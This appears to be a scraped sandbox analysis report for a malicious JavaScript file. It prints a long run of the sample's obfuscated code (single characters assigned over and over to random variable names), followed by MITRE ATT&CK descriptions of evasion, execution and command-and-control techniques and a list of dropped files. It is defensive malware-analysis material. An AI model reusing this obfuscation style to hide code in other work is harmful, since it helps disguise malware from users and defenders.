993	mhlknkm = "T";
994	mhlknkm = "v";
995	mhlknkm = "J";
996	mhlknkm = "X";
997	mhlknkm = "W";
998	mhlknkm = "Y";
999	mhlknkm = "Z";
1000	mhlknkm = "l";
1001	mhlknkm = "G";
1002	mhlknkm = "E";
1003	udwpxy = "T";
1004	udwpxy = "M";
1005	udwpxy = "F";
1006	udwpxy = "h";
1007	udwpxy = "F";
1008	udwpxy = "S";
1009	udwpxy = "l";
1010	udwpxy = "q";
1011	udwpxy = "O";
1012	udwpxy = "E";
1013	udwpxy = "A";
1014	udwpxy = "v";
1015	udwpxy = "P";
1016	udwpxy = "j";
1017	udwpxy = "i";
1018	udwpxy = "G";
1019	udwpxy = "Q";
1020	udwpxy = "g";
1021	udwpxy = "S";
1022	udwpxy = "V";
1023	udwpxy = "g";
1024	udwpxy = "n";
1025	udwpxy = "a";
1026	udwpxy = "i";
1027	udwpxy = "W";
1028	gpcvqchq = "A";
1029	gpcvqchq = "F";
1030	gpcvqchq = "b";
1031	gpcvqchq = "P";
1032	gpcvqchq = "r";
1033	gpcvqchq = "Q";
1034	gpcvqchq = "l";
1035	gpcvqchq = "j";
1036	gpcvqchq = "w";
1037	gpcvqchq = "C";
1038	gpcvqchq = "G";
1039	gpcvqchq = "k";
1040	gpcvqchq = "k";
1041	gpcvqchq = "O";
1042	pbwdftl = "z";
1043	pbwdftl = "z";
1044	pbwdftl = "q";
1045	pbwdftl = "Z";
1046	pbwdftl = "G";
1047	pbwdftl = "q";
1048	pbwdftl = "M";
1049	pbwdftl = "n";
1050	pbwdftl = "-";
1051	iphhw = "w";
1052	iphhw = "m";
1053	iphhw = "Z";
1054	iphhw = "d";
1055	iphhw = "z";
1056	iphhw = "w";
1057	iphhw = "N";
1058	iphhw = "w";
1059	iphhw = "y";
1060	iphhw = "r";
1061	iphhw = "J";
1062	iphhw = "K";
1063	iphhw = "v";
1064	iphhw = "d";
1065	iphhw = "N";
1066	iphhw = "k";
1067	iphhw = "G";
1068	iphhw = "P";
1069	iubxhwcls = "u";
1070	iubxhwcls = "u";
1071	iubxhwcls = "A";
1072	iubxhwcls = "g";
1073	iubxhwcls = "k";
1074	iubxhwcls = "t";
1075	iubxhwcls = "g";
1076	iubxhwcls = "h";
1077	iubxhwcls = "m";
1078	iubxhwcls = "b";
1079	iubxhwcls = "u";
1080	iubxhwcls = "G";
1081	iubxhwcls = "j";
1082	iubxhwcls = "h";
1083	iubxhwcls = "m";
1084	iubxhwcls = "b";
1085	iubxhwcls = "G";
1086	iubxhwcls = "b";
1087	iubxhwcls = "q";
1088	jydffma = "e";
1089	jydffma = "A";
1090	jydffma = "o";
1091	jydffma = "a";
1092	jydffma = "Z";
1093	jydffma = "R";
1094	jydffma = "e";
1095	jydffma = "u";
1096	jydffma = "h";
1097	gjqaws = "Q";
1098	gjqaws = "X";
1099	gjqaws = "V";
1100	gjqaws = "J";
1101	gjqaws = "C";
1102	gjqaws = "w";
1103	gjqaws = "Y";
1104	gjqaws = "L";
1105	gjqaws = "x";
1106	gjqaws = "S";
1107	gjqaws = "W";
1108	gjqaws = "O";
1109	gjqaws = "G";
1110	gjqaws = "n";
1111	gjqaws = "R";
1112	gjqaws = "Y";
1113	gjqaws = "W";
1114	gjqaws = "E";
1115	gjqaws = "O";
1116	gjqaws = "S";
1117	gjqaws = "s";
1118	gjqaws = "M";
1119	gjqaws = "E";
1120	gjqaws = "g";
1121	gjqaws = "N";
1122	gjqaws = "Q";
1123	gjqaws = "r";
1124	gjqaws = "t";
1125	gjqaws = "u";
1126	gjqaws = "w";
1127	gjqaws = "A";
1128	gjqaws = "Y";
1129	gjqaws = "R";
1130	gjqaws = "C";
1131	gjqaws = "f";
1132	gjqaws = "p";
1133	gjqaws = "Y";
1134	gjqaws = "C";
1135	gjqaws = "j";
1136	gjqaws = "9";
1137	mpkdjfhl = "P";
1138	mpkdjfhl = "K";
1139	mpkdjfhl = "G";
1140	mpkdjfhl = "E";
1141	mpkdjfhl = "k";
1142	mpkdjfhl = "T";
1143	mpkdjfhl = "O";
1144	mpkdjfhl = "s";
1145	mpkdjfhl = "h";
1146	mpkdjfhl = "Y";
1147	mpkdjfhl = "q";
1148	mpkdjfhl = "J";
1149	mpkdjfhl = "w";
1150	mpkdjfhl = "u";
1151	mpkdjfhl = "G";
1152	mpkdjfhl = "x";
1153	mpkdjfhl = "I";
1154	mpkdjfhl = "s";
1155	mpkdjfhl = "e";
1156	mpkdjfhl = "E";
1157	mpkdjfhl = "L";
1158	mpkdjfhl = "m";
1159	mpkdjfhl = "x";
1160	mpkdjfhl = "K";
1161	mpkdjfhl = "m";
1162	mpkdjfhl = "V";
1163	mpkdjfhl = "Z";
1164	mpkdjfhl = "g";
1165	mpkdjfhl = "b";
1166	mpkdjfhl = "I";
1167	mpkdjfhl = "Y";
1168	mpkdjfhl = "C";
1169	mpkdjfhl = "x";
1170	mpkdjfhl = "r";
1171	mpkdjfhl = "G";
1172	mpkdjfhl = "1";
1173	gqyvnbox = "l";
1174	gqyvnbox = "d";
1175	gqyvnbox = "r";
1176	gqyvnbox = "y";
1177	gqyvnbox = "S";
1178	gqyvnbox = "q";
1179	gqyvnbox = "e";
1180	gqyvnbox = "W";
1181	gqyvnbox = "N";
1182	gqyvnbox = "m";
1183	gqyvnbox = "E";
1184	gqyvnbox = "a";
1185	gqyvnbox = "K";
1186	gqyvnbox = "d";
1187	gqyvnbox = "X";
1188	gqyvnbox = "a";
1189	gqyvnbox = "i";
1190	gqyvnbox = "r";
1191	gqyvnbox = "O";
1192	gqyvnbox = "q";
1193	gqyvnbox = "r";
1194	gqyvnbox = "L";
1195	gqyvnbox = "A";
1196	gqyvnbox = "K";
1197	gqyvnbox = "b";
1198	gqyvnbox = "D";
1199	gqyvnbox = "t";
1200	gqyvnbox = "x";
1201	gqyvnbox = "x";
1202	aynbum = "b";
1203	aynbum = "W";
1204	aynbum = "G";
1205	aynbum = "K";
1206	aynbum = "z";
1207	aynbum = "h";
1208	aynbum = "F";
1209	aynbum = "o";
1210	aynbum = "E";
1211	aynbum = "o";
1212	aynbum = "J";
1213	aynbum = "U";
1214	aynbum = "s";
1215	aynbum = "L";
1216	aynbum = "p";
1217	aynbum = "z";
1218	aynbum = "L";
1219	aynbum = "n";
1220	aynbum = "u";
1221	aynbum = "s";
1222	aynbum = "a";
1223	aynbum = "Q";
1224	aynbum = "i";
1225	aynbum = "J";
1226	aynbum = "E";
1227	aynbum = "r";
1228	aynbum = "Z";
1229	aynbum = "w";
1230	aynbum = "K";
1231	aynbum = "k";
1232	aynbum = "k";
1233	aynbum = "N";
1234	aynbum = "r";
1235	aynbum = "I";
1236	aynbum = "C";
1237	aynbum = "Z";
1238	aynbum = "D";
1239	aynbum = "u";
1240	aynbum = "P";
1241	aynbum = "s";
1242	aynbum = "T";
1243	aynbum = "I";
1244	aynbum = "y";
1245	aynbum = "%";
1246	mtboeuttj = "g";
1247	mtboeuttj = "X";
1248	mtboeuttj = "f";
1249	mtboeuttj = "S";
1250	mtboeuttj = "K";
1251	mtboeuttj = "Z";
1252	mtboeuttj = "F";
1253	mtboeuttj = "X";
1254	mtboeuttj = "W";
1255	mtboeuttj = "t";
1256	mtboeuttj = "y";
1257	mtboeuttj = "Y";
1258	mtboeuttj = "F";
1259	mtboeuttj = "N";
1260	mtboeuttj = "Y";
1261	mtboeuttj = "y";
1262	mtboeuttj = "3";
1263	yzvjkas = "N";
1264	yzvjkas = "L";
1265	yzvjkas = "t";
1266	yzvjkas = "E";
1267	yzvjkas = "H";
1268	yzvjkas = "n";
1269	yzvjkas = "d";
1270	yzvjkas = "B";
1271	yzvjkas = "f";
1272	yzvjkas = "E";
1273	yzvjkas = "P";
1274	yzvjkas = "N";
1275	yzvjkas = "o";
1276	yzvjkas = "w";
1277	yzvjkas = "S";
1278	yzvjkas = "a";
1279	yzvjkas = "C";
1280	yzvjkas = "Y";
1281	yzvjkas = "G";
1282	yzvjkas = "k";
1283	yzvjkas = "J";
1284	yzvjkas = "R";
1285	yzvjkas = "U";
1286	yzvjkas = "b";
1287	yzvjkas = "G";
1288	yzvjkas = "M";
1289	yzvjkas = "f";
1290	hayxwy = "D";
1291	hayxwy = "v";
1292	hayxwy = "k";
1293	hayxwy = "h";
1294	hayxwy = "o";
1295	hayxwy = "i";
1296	hayxwy = "2";
1297	rpjzdeo = "L";
1298	rpjzdeo = "E";
1299	rpjzdeo = "V";
1300	rpjzdeo = "k";
1301	rpjzdeo = ".";
1302	xkxey = "K";
1303	xkxey = "I";
1304	xkxey = "q";
1305	xkxey = "b";
1306	xkxey = "r";
1307	xkxey = "k";
1308	xkxey = "f";
1309	xkxey = "x";
1310	xkxey = "k";
1311	xkxey = "F";
1312	xkxey = "Q";
1313	xkxey = "h";
1314	xkxey = "s";
1315	xkxey = "o";
1316	xkxey = "Z";
1317	xkxey = "s";
1318	xkxey = "t";
1319	xkxey = "\\";
1320	jcccqzr ( );	jcccqzr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 20891229701394327174.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\faec480e-df63-4cd1-ad9f-84a95f95efed.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6516

Windows Analysis Report
20891229701394327174.js